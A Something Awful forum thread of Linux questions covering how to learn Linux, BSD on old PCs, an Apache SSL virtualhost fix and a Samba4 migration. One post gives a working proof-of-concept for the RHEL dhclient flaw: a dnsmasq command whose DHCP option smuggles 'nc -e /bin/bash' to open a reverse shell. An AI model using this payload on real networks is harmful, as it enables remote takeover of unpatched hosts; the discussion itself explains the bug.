Register a SA Forums Account here!
JOINING THE SA FORUMS WILL REMOVE THIS BIG AD, THE ANNOYING UNDERLINED ADS, AND STUPID INTERSTITIAL ADS!!!

You can: log in, read the tech support FAQ, or request your lost password. This dumb message (and those ads) will appear on every screen until you register! Get rid of this crap by registering your own SA Forums Account and joining roughly 150,000 Goons, for the one-time price of $9.95! We charge money because it costs us money per month for bills, and since we don't believe in showing ads to our users, we try to make the money back through forum registrations.
 
  • Post
  • Reply
xzzy
Mar 5, 2009

nem posted:

. Red hat publishes some great, thorough documentation.

Read question, describes my problem exactly, scroll down..

SUBSCRIBER EXCLUSIVE CONTENT :byodood:

Adbot
ADBOT LOVES YOU

jaegerx
Sep 10, 2012

Maybe this post will get me on your ignore list!


Jerk McJerkface posted:

I recommend that for people get familiar with linux is that they get ahold of an old laptop and install Fedora on it. Then get everything (I mean everything) to work, this includes:

1) media keys
2) hibernating/sleep function and buttons properly
3) wifi
4) wifi on/off switches
5) all function keys
6) screen dimming
7) webcam
8) closing lid making it properly go to sleep or hibernate or both

And then use it as your daily laptop. If you need a Windows app for work or a VPN, get that to work. For Windows setup WINE or a Windows VM. If something doesn't work, figure it out. And just do it.

You'll learn the ins and outs of dealing with the interesting problems of linux.

Now, the next few posts (as commonly occurs when I post this) will be responses that most of those things work out of the box with linux now, but I promise you it will be a frustrating adventure into madness to get it all working right to the point where you can start using the laptop 100%. If you want to learn Linux you have to use it for real, and this is a real darn good way to start.



I'm a rhca and I don't know how to do anything of those things.

Docjowles
Apr 9, 2009

jaegerx posted:

I'm a rhca and I don't know how to do anything of those things.

Yeah, agreed. Using Linux as your desktop only teaches you how to do desktop poo poo. It’s not going to teach you meaningful sysadmin skills anymore than using Windows to play games and watch Netflix will teach you Active Directory or Hyper-V.

Super-NintendoUser
Jan 16, 2004

COWABUNGERDER COMPADRES
Soiled Meat

Docjowles posted:

Yeah, agreed. Using Linux as your desktop only teaches you how to do desktop poo poo. It’s not going to teach you meaningful sysadmin skills anymore than using Windows to play games and watch Netflix will teach you Active Directory or Hyper-V.

My point it is gets you used to using command line, looking up Linux help, installing package, and getting generally familiar with using Linux. Also it gives you a really practical environment to interact with Linux every day. When otherwise just studying is a bit too detached.

To go further anyone can copy and paste an Apache or nginx config, but my excersize will help you understand how to read logs, think through Linux issues, figure out how to get the help you need. Especially if your goal is a laptop you can use everyday for everything. Necessity is a power teacher.

Super-NintendoUser fucked around with this message at 17:13 on May 15, 2018

Super-NintendoUser
Jan 16, 2004

COWABUNGERDER COMPADRES
Soiled Meat

Docjowles posted:

Yeah, agreed. Using Linux as your desktop only teaches you how to do desktop poo poo. It’s not going to teach you meaningful sysadmin skills anymore than using Windows to play games and watch Netflix will teach you Active Directory or Hyper-V.

Using Windows to play games is nothing like using Linux as your daily use laptop.

RFC2324
Jun 7, 2012

http 418

I've never needed to get media keys working on a server, just saying

anthonypants
May 6, 2007

by Nyc_Tattoo
Dinosaur Gum

Jerk McJerkface posted:

My point it is gets you used to using command line, looking up Linux help, installing package, and getting generally familiar with using Linux. Also it gives you a really practical environment to interact with Linux every day. When otherwise just studying is a bit too detached.

To go further anyone can copy and paste an Apache or nginx config, but my excersize will help you understand how to read logs, think through Linux issues, figure out how to get the help you need. Especially if your goal is a laptop you can use everyday for everything. Necessity is a power teacher.
If you think that learning how to Linux boils down to editing configuration files in a console then vimtutor is going to be more beneficial.

Super-NintendoUser
Jan 16, 2004

COWABUNGERDER COMPADRES
Soiled Meat

RFC2324 posted:

I've never needed to get media keys working on a server, just saying

Conversely, the RHSCA mainly tests your ability to memorize these concepts:

1) file permissions
2) fix selinux (with a command that is EXACTLY in the man page for selinux)
3) setup authconfig-gtk
4) mess around with some volume groups
5) add a couple users

Sure, that's a few things that you do as a sysadmin, but the more important thing is figuring our how linux is built, where files are stored, how to analyze logs, and understand how linux is structured (var/ etc/ opt/ boot/ ...)

That's very hard to do unless you are required to do it for work, since when you read about it or do exercises, it all just works pretty straightforwardly.

However, when you are faced with something you have to get done, like setup media keys, or figure out why your laptop won't hibernate, or why you can't get multiple displays to work correctly, you are forced to dig deeper, start looking at syslog, kernel messages, download and compile some drivers, etc. While I get the exact tasks don't necessarily carry over, it's much better for you to immerse yourself in Linux and learn the concepts. A really good way to do that is to work 100% on a linux system, and get it all working 100% the way you want.

You can't do that with out really digging in to linux, which is what some new to linux needs.


anthonypants posted:

If you think that learning how to Linux boils down to editing configuration files in a console then vimtutor is going to be more beneficial.

Again, what I said was that my exercise is a good way for some one to get familiar with Linux. Of course you don't learn more advanced concepts, but that's not the point.

RFC2324 posted:

I've never needed to get media keys working on a server, just saying



There's literally a million different tasks that you can do a on a Linux server. You have to start somewhere. Sure, you can install Apache on something and start messing around, but for a complete novice, it's a bit daunting figuring out where to start. I had the experience where I was a Windows sysadmin and eleven years ago my awful boss one day said "go to this client and fix their PBX, it runs Linux, go figure it out". From then on, I've worked nearly 100% in Redhat or Centos. Most people won't have that experience, so you need something practical to sink your teeth into.

nem posted:

Everyone is at one point. Best advice I can give you is pick up a book on Apache and read cover to cover. It provides the foundation of many critical RFCs that provide opportunities to learn further. Compile a kernel from source and learn too what the options under Processor features/General setup do at a bare minimum.

Get an apache book and read it is basically saying "RTFM newb". I'll 100% agree that this is a good recommendation, but man it's just not fun. Do something practical and interesting. Get a Chromebook and get linux working on it, or setup your own Fedora server at home and move your 100TB of Anime to it, setup NFS on it and figure out how to mount it on your laptop, get working in linux, and learn as you go.

Super-NintendoUser fucked around with this message at 17:49 on May 15, 2018

anthonypants
May 6, 2007

by Nyc_Tattoo
Dinosaur Gum

Jerk McJerkface posted:

Conversely, the RHSCA mainly tests your ability to memorize these concepts:

1) file permissions
2) fix selinux (with a command that is EXACTLY in the man page for selinux)
3) setup authconfig-gtk
4) mess around with some volume groups
5) add a couple users

Sure, that's a few things that you do as a sysadmin, but the more important thing is figuring our how linux is built, where files are stored, how to analyze logs, and understand how linux is structured (var/ etc/ opt/ boot/ ...)

That's very hard to do unless you are required to do it for work, since when you read about it or do exercises, it all just works pretty straightforwardly.

However, when you are faced with something you have to get done, like setup media keys, or figure out why your laptop won't hibernate, or why you can't get multiple displays to work correctly, you are forced to dig deeper, start looking at syslog, kernel messages, download and compile some drivers, etc. While I get the exact tasks don't necessarily carry over, it's much better for you to immerse yourself in Linux and learn the concepts. A really good way to do that is to work 100% on a linux system, and get it all working 100% the way you want.

You can't do that with out really digging in to linux, which is what some new to linux needs.


Again, what I said was that my exercise is a good way for some one to get familiar with Linux. Of course you don't learn more advanced concepts, but that's not the point.




There's literally a million different tasks that you can do a on a Linux server. You have to start somewhere. Sure, you can install Apache on something and start messing around, but for a complete novice, it's a bit daunting figuring out where to start. I had the experience where I was a Windows sysadmin and eleven years ago my awful boss one day said "go to this client and fix their PBX, it runs Linux, go figure it out". From then on, I've worked nearly 100% in Redhat or Centos. Most people won't have that experience, so you need something practical to sink your teeth into.


Get an apache book and read it is basically saying "RTFM newb". I'll 100% agree that this is a good recommendation, but man it's just not fun. Do something practical and interesting. Get a Chromebook and get linux working on it, or setup your own Fedora server at home and move your 100TB of Anime to it, setup NFS on it and figure out how to mount it on your laptop, get working in linux, and learn as you go.
If the entirety of your Linux knowledge is how to configure wpa-supplicant and X, learned from Google search results on snack overflow or reddit, you have learned how to disable SELinux and pipe curl into bash while using root for everything.

xzzy
Mar 5, 2009

Best way to learn linux, or any OS, is find an itch and scratch it. Pick a specific computing goal and go after it. It's better if you get dirty setting things up, but even if you cut and paste from a recipe you still will have learned something and will be better at it next time.

RFC2324
Jun 7, 2012

http 418

Instead of setting up a desktop that is going to be frustrating to use, i would recommend setting up a lamp stack or something similar. Spin up a blank free tier aws instance and get to serving pages. Then add more services like a private cloud (in the public cloud :v )

Both things teach you how to dig in and figure poo poo out, but at the end of the day only one leaves you with a desktop with limited usefulness

Docjowles
Apr 9, 2009

Jerk McJerkface posted:

Using Windows to play games is nothing like using Linux as your daily use laptop.

:jerkbag: Pretend I said create spreadsheets and send emails, or edit video if it makes you feel better. Whatever it is you imagine someone does in their "daily use". Unless you're a developer or sysadmin, most of your daily use can be accomplished without ever opening a terminal. Most of the exercise you assigned just works out of the box on a modern distro and modern hardware, or can be changed clicking boxes in a GUI, so that's going to be a pretty short and shallow tutorial.

other people
Jun 27, 2004
Associate Christ

xzzy posted:

Read question, describes my problem exactly, scroll down..

SUBSCRIBER EXCLUSIVE CONTENT :byodood:

That is true of most of the knowledge articles but the official documentation for RHEL and other RH products are all freely available and most of them are pretty drat good.

https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/

other people
Jun 27, 2004
Associate Christ
also everything on my laptop worked out of the box hth

Boris Galerkin
Dec 17, 2011

I don't understand why I can't harass people online. Seriously, somebody please explain why I shouldn't be allowed to stalk others on social media!
Sleep/hibernate stopped working on my thinkpad after updating to fedora 28. It worked perfectly fine in fedora 27.

SoftNum
Mar 31, 2011

Boris Galerkin posted:

Sleep/hibernate stopped working on my thinkpad after updating to fedora 28. It worked perfectly fine in fedora 27.

well click some boxes in the GUI it's that simple always

nem
Jan 4, 2003

panel.dev
apnscp: cPanel evolved

Jerk McJerkface posted:

Get an apache book and read it is basically saying "RTFM newb". I'll 100% agree that this is a good recommendation, but man it's just not fun. Do something practical and interesting. Get a Chromebook and get linux working on it, or setup your own Fedora server at home and move your 100TB of Anime to it, setup NFS on it and figure out how to mount it on your laptop, get working in linux, and learn as you go.

There are no silver bullets to proper system administration, just lead (and SO). It’s an enormous space to learn. I’ve run into more situations that don’t fit textbook situations but required overlapping knowledge to figure out. Deep learning is crucial to mastering this space. RTFM really is the best way to accomplish this so you’re aware of what features/options/pathways exist in a particular tool chain. Every bit of technology is built upon existing technology. Understanding fundamentals goes a long way even if those fundamentals are a bit dry.

Super-NintendoUser
Jan 16, 2004

COWABUNGERDER COMPADRES
Soiled Meat
edit: you know what nah.

Super-NintendoUser fucked around with this message at 20:03 on May 15, 2018

Autoexec.bat
Dec 29, 2012

Just one more level

SoftNum posted:

Debian at least still has an up to date i386 installation distributed on CD. That should get you basic X windows and a place to start. even when your hardware was current linux support was kind of the wild wild west so depending on graphics card and such there may be many hours of research involved in making everything work.

EDIT: Comedy answer: Setup external compilation for gentoo on your other systems and compile everything from scratch.

Normally Debian would be my go-to but they actually dropped support a year or two back for P1/K6/K6-2/K6-3/Cyrix CPUs and therefore is not usable except on the PIIs and Athlon. I would have to build the kernel myself to use it.

I may give BSD a shot though, never used it before.

As for learning Linux I learned quite a lot by trying to make stuff work that shouldn't and repeatedly breaking the OS until I got better at it so it is viable to just try and make an older machine (fully) work to learn how to interact with Linux. In my case my only laptop for ages was a PII 300mhz with 256mb ram and I wanted to be able to browse the internet and watch videos, necessity does indeed make you learn but it requires a lot of research and you end up forced to use the terminal as lightweight UIs usually lack a menu for configuring the system. You usually stop trying to stay in root once you brick the machine for the 5th time though.

Vulture Culture
Jul 14, 2003

I was never enjoying it. I only eat it for the nutrients.
Hot take on this dumb conversation: if media keys sound like an interesting problem for you to solve, then you should solve problems you find interesting, not problems you don't find interesting

Autoexec.bat
Dec 29, 2012

Just one more level
I suppose I should have stayed out of it but ah well. Either way anything that gets you more exposure to the OS and its workings should be encouraged, just find something you want to do with Linux and do it. Of course reading actual documents and courses is better from a professional point (and long term not learning bad habits) but gotta start somewhere and I personally found the books to be gibberish until I spent some time with the OS first as they often assume you know the bare minimum. This is coming from someone that had to unlearn years of MS-DOS habits and syntax that made Linux even harder than it should have been.

Good news on the old PCs, found a couple distros that run OK under the newer PCs, I may just leave the oldest ones running DOS/3.11/95c since they don't seem quite viable unless I just want to host some files. Going to try BSD on the 400mhz K6-2 since I found more RAM and it's up to 768MB.

I also did a count, I have 10 systems from between 1994 and 1999, not including all the spare parts.

Autoexec.bat fucked around with this message at 00:05 on May 16, 2018

jaegerx
Sep 10, 2012

Maybe this post will get me on your ignore list!


Please always ask in the thread if you have questions about best practices or anything like that. We will argue but you’ll get something out of it.

I personally believe you’ll learn Linux best on the command line and not through a GUI. Don’t use the cheater tuis either unless it’s authconfig then go ahead cause gently caress that mess.

Do what you want. Lemp stack a wordpress. Setup a proxy so you can hide your porn from work/wife. VPN it up so the nsa can’t see your poo poo.

You’ve got free poo poo from aws or google cloud. If you don’t want that complex google for a DigitalOcean code and use their $5 droplets.

Whatever be happy. If you ask a question though please explain why you want to do it that way that’s all i ask.

redeyes
Sep 14, 2002

by Fluffdaddy
I have a simple question with maybe no answer. One of my big hangups with Linux is I have put my time in at the CLI/command line for years. At this point I prefer to GUI it up for most tasks and yet feel fairly comfortable doing cli stuff if necessary (with enough googling). My point is I REALLY would like a stable GUI with proper drag and drop and hopefully normal things like pinning (shortcuts or whatever) applications to the desktop, folders, aliases, etc. Back in the day I was very in love with OS/2's object oriented GUI where each GUI element had a properties menu you could tweak things with. Pervasive drag and drop, etc.

So far every linux gui I have used just fell flat on its face for me. I don't want or need 10 million tweak options, just a well thought out gui that does lower level stuff like mounting SMB and drives automatically. Does this exist at all?

jaegerx
Sep 10, 2012

Maybe this post will get me on your ignore list!


redeyes posted:

I have a simple question with maybe no answer. One of my big hangups with Linux is I have put my time in at the CLI/command line for years. At this point I prefer to GUI it up for most tasks and yet feel fairly comfortable doing cli stuff if necessary (with enough googling). My point is I REALLY would like a stable GUI with proper drag and drop and hopefully normal things like pinning (shortcuts or whatever) applications to the desktop, folders, aliases, etc. Back in the day I was very in love with OS/2's object oriented GUI where each GUI element had a properties menu you could tweak things with. Pervasive drag and drop, etc.

So far every linux gui I have used just fell flat on its face for me. I don't want or need 10 million tweak options, just a well thought out gui that does lower level stuff like mounting SMB and drives automatically. Does this exist at all?

Mac OS

evol262
Nov 30, 2010
#!/usr/bin/perl

Autoexec.bat posted:

I suppose I should have stayed out of it but ah well. Either way anything that gets you more exposure to the OS and its workings should be encouraged, just find something you want to do with Linux and do it. Of course reading actual documents and courses is better from a professional point (and long term not learning bad habits) but gotta start somewhere and I personally found the books to be gibberish until I spent some time with the OS first as they often assume you know the bare minimum. This is coming from someone that had to unlearn years of MS-DOS habits and syntax that made Linux even harder than it should have been.

Good news on the old PCs, found a couple distros that run OK under the newer PCs, I may just leave the oldest ones running DOS/3.11/95c since they don't seem quite viable unless I just want to host some files. Going to try BSD on the 400mhz K6-2 since I found more RAM and it's up to 768MB.

I also did a count, I have 10 systems from between 1994 and 1999, not including all the spare parts.

I hope most of those systems are more interesting than x86. Which is fine, but I don't think I'd pay to run old hardware unless it was a Fuel or Ultra80 or something for nostalgia.

BSD has excellent documentation, so you shouldn't have problems there.

RFC2324
Jun 7, 2012

http 418

write your own, linux needs yet another wm(I mean, it needs one that works well for normal people)

Autoexec.bat
Dec 29, 2012

Just one more level

evol262 posted:

I hope most of those systems are more interesting than x86. Which is fine, but I don't think I'd pay to run old hardware unless it was a Fuel or Ultra80 or something for nostalgia.

BSD has excellent documentation, so you shouldn't have problems there.

I didn't pay for any of them except one or two when they weren't hopelessly out of date so there's that. I also don't plan on leaving them on so cost wise there is basically none it's just something to mess with. A couple are pretty vanilla x86 AT but most of them have something interesting about them at least from a huge nerd perspective such as a high-end custom built Socket 4 system that has PS/2 and Tape backup. Besides I learned computers on them so I don't really want to throw them out at this point.

BSD should be interesting, especially since I haven't really tried non-Debian based Linux/Unix in the past, any good resources for getting started?

Also yeah, none of the window managers are as good as they could be unfortunately. It is part of why I just use light ones and terminal the rest to avoid the jank.

Volguus
Mar 3, 2009
Given your hardware, I'd try NetBSD. That should work.

hifi
Jul 25, 2012

Autoexec.bat posted:

I didn't pay for any of them except one or two when they weren't hopelessly out of date so there's that. I also don't plan on leaving them on so cost wise there is basically none it's just something to mess with. A couple are pretty vanilla x86 AT but most of them have something interesting about them at least from a huge nerd perspective such as a high-end custom built Socket 4 system that has PS/2 and Tape backup. Besides I learned computers on them so I don't really want to throw them out at this point.

BSD should be interesting, especially since I haven't really tried non-Debian based Linux/Unix in the past, any good resources for getting started?

Also yeah, none of the window managers are as good as they could be unfortunately. It is part of why I just use light ones and terminal the rest to avoid the jank.

the bsds have their respective handbooks which should get you started

https://www.freebsd.org/doc/handbook/
https://www.netbsd.org/docs/guide/en/
https://www.openbsd.org/faq/index.html

Yaoi Gagarin
Feb 20, 2014

I wish the fedora sysadmin guide were as exhaustive as the freebsd handbook. That thing covers pretty much anything you'd ever want to do with the system

An Enormous Boner
Jul 12, 2009

This vulnerability in some script used by NetworkManager and dhclient in CentOS and RHEL was released today: https://access.redhat.com/security/vulnerabilities/3442151

Here's the current version, after the fix: https://git.centos.org/blob/rpms!dhcp.git/e768f3a02b1e035bb9dffd89df86a403e0ef69e0/SOURCES!11-dhclient
Here's the diff: https://git.centos.org/blobdiff/rpm...2a8e3f2e5ada966

I think I get the basic idea of the vulnerability, but I don't understand a few things. Why is that whole chunk in an eval? Why does the PoC (do we post things like that here?) not include an escaped character, but rather a stray single quote? How does the '-r' fix that, since it's supposed to not treat backslashes as escapes?

Sheep
Jul 24, 2003
Not an issue to post POCs here:
dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

minato
Jun 7, 2004

cutty cain't hang, say 7-up.
Taco Defender

An Enormous Boner posted:

Why does the PoC (do we post things like that here?) not include an escaped character, but rather a stray single quote? How does the '-r' fix that, since it's supposed to not treat backslashes as escapes?
"declare" prints out all the environment variables in a format that includes escape chars, so the single quote gets a backslash added. Then read (without the -r) strips off the backslash, which changes the meaning.

An Enormous Boner
Jul 12, 2009

minato posted:

"declare" prints out all the environment variables in a format that includes escape chars, so the single quote gets a backslash added. Then read (without the -r) strips off the backslash, which changes the meaning.

ooooh poo poo

teen phone cutie
Jun 18, 2012

last year i rewrote something awful from scratch because i hate myself

nem posted:

Edit: automatically parse URLs :downs:

I hate tutorials, because they explain what to do not why you do it. DO's incentivization structure to exchange tutorials for hosting credit is creating an absolute mess by diminishing the role of system administrator resulting in half-rear end setups such as what they're recommending.

It's broken because of virtualhost resolution. Apache will match a hostname:port to its corresponding virtualhost container. With this configuration both mysite.com:80 and https://www.mysite.com:80 will serve content from /var/www/html/mysite.com. Because you don't have a separate virtualhost container setup for *:443 with both mysite.com and https://www.mysite.com as a ServerAlias, it'll default to your system DocumentRoot setting in httpd.conf that is outside any <virtualhost>...</virtualhost> container. Setup a another virtualhost container, use the same config, add SSLEngine On, setup your SSL* directives, and that should do it.

Utilizing a nested document root structure is considered bad practice too. If foobar.com serves from /var/www/html, then you can unintentionally leak mysite.com by accessing foobar.com/mysite.com/whatever. Put your subordinate domains under /var/www/<domain> and your primary under /var/www/html. Plus it causes problems with htaccess rule inheritance as mysite.com under /var/www/html/mysite.com will check for and inherit any directives in /var/www/html assuming AllowOverride is set for /var/www.

No, MX records are used solely in determining where to send mail for user@domain.com. domain.com has a MX record is that signifies the next hop for mail delivery. There's no reason to have an MX for both mysite.com and mail.mysite.com nor could you add an MX named mysite.com for mysite.com. That'd create a routing loop.

So this is what I ended up with

code:
<VirtualHost *:443>
 ServerName [url]www.domain.com[/url]
 ServerAlias domain.com
 DocumentRoot /var/www/html/domain.com/public_html
 SSLEngine on
 SSLCertificateFile /etc/letsencrypt/live/domain.com/cert.pem
 SSLCertificateKeyFile /etc/letsencrypt/live/domain.com/privkey.pem
 SSLCertificateChainFile /etc/letsencrypt/live/domain.com/fullchain.pem
 RewriteEngine on
 RewriteCond %{SERVER_NAME} =www.domain.com [OR]
 RewriteCond %{SERVER_NAME} =domain.com
 RewriteRule ^ [url]https://%[/url]{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]
</VirtualHost>
And upon restarting apache, nothing's been fixed. Does something look wrong here? Just ignore the [url] stuff in there. That's just because of the forums.

nem
Jan 4, 2003

panel.dev
apnscp: cPanel evolved

Grump posted:

So this is what I ended up with

code:
<VirtualHost *:443>
 ServerName [url]www.domain.com[/url]
 ServerAlias domain.com
 DocumentRoot /var/www/html/domain.com/public_html
 SSLEngine on
 SSLCertificateFile /etc/letsencrypt/live/domain.com/cert.pem
 SSLCertificateKeyFile /etc/letsencrypt/live/domain.com/privkey.pem
 SSLCertificateChainFile /etc/letsencrypt/live/domain.com/fullchain.pem
 RewriteEngine on
 RewriteCond %{SERVER_NAME} =www.domain.com [OR]
 RewriteCond %{SERVER_NAME} =domain.com
 RewriteRule ^ [url]https://%[/url]{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]
</VirtualHost>
And upon restarting apache, nothing's been fixed. Does something look wrong here? Just ignore the [url] stuff in there. That's just because of the forums.

quote:

RewriteEngine on
RewriteCond %{SERVER_NAME} =www.domain.com [OR]
RewriteCond %{SERVER_NAME} =domain.com
RewriteRule ^ [url]https://%[/url]{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]

That's unnecessary. You're saying if it's domain or https://www.domain.com then redirect to the [url]https://[/url] flavor... and you have that placed in the https flavor :psyboom:. You probably have another VirtualHost container setup in /etc/httpd/conf.d/ssl.conf too or however the default mod_ssl config is named.

code:
grep -rsi virtualhost /etc/httpd/conf{,.d}
will tell you where virtualhost containers are defined. Inspect those for one that has an SSLEngine on and is taking precedence over handling the request.

Lukano
Apr 28, 2003

I have a client running an old install of Win Server 2k8 SBS as the sole AD / DC for an office of about 20-30 machines (all onsite).

They've asked me to migrate this to a Samba4 based AD / DC setup, and I'll probably use a canned solution like Univention (UCS) or Zentyal.

I'm not married to migrating them away from Windows Server, but they're a small shop with no more than a dozen or so consistent users, and most of their email is done through external POP3 accounts (though there's a seperate project of migrating large legacy archives off of Exchange when the 2k8 SBS machine is retired, but that's for another day/post).

I'm curious if anyone has gone through this specific migration before (specifically, from 2k8 SBS to Samba as the AD/DC). Any gotcha's I should keep in mind, road-bumps or hiccups I should watch out for? Any opinions on not making the transition, short-falls in using Samba 4, etc? Thoughts or suggestions?

evol262
Nov 30, 2010
#!/usr/bin/perl
The pitfall is that you're using random solutions which either break all the time (Zentyal) or don't fit into any patching/remediation strategy they may have (UCS).

If they're very dependent on GPOs, neither of these is gonna work. If they aren't, why not use IPA or Azure AD?

Lukano
Apr 28, 2003

They are not terribly dependent upon GPO's, beyond simple user access to network locations/documents. Thus why I thought this might be an ideal situation for a Samba 4 migration. I'm not married to Zentyal either (on the oft-breaking mention), and I don't think having new patching and remediation policies are sufficiently cumbersome to rule out UCS.

They are in a fairly remote location (small town, unreliable internet options, frequent outages on both power and connectivity), so anything cloud based is a hard case to push.

That said, I'm not familiar with IPA. Do you mean FreeIPA? Seems to be the closest match with a quick google search.

edit - ultimately the goal here is to retired the aging 2k8sbs machine, and replace it with something that does not have licensing or recurring fees. They are simply small enough that I don't feel they need the cost of an onsite winserver ad/dc, but are already interred in an existing winserver solution that needs to be upgraded or put out to pasture. And as mentioned above they are unfortunately limited from using more cost-effective cloud solutions.

Lukano fucked around with this message at 20:03 on May 17, 2018

Adbot
ADBOT LOVES YOU

evol262
Nov 30, 2010
#!/usr/bin/perl
I did mean FreeIPA, yeah, which will fulfill LDAP+Kerberos+DNS+DHCP without any of the (many) warts of Samba4.

Samba4 is fine as long as they're comfortable with Google or paying a consultant for when it inevitably breaks, though

  • 1
  • 2
  • 3
  • 4
  • 5
  • Post
  • Reply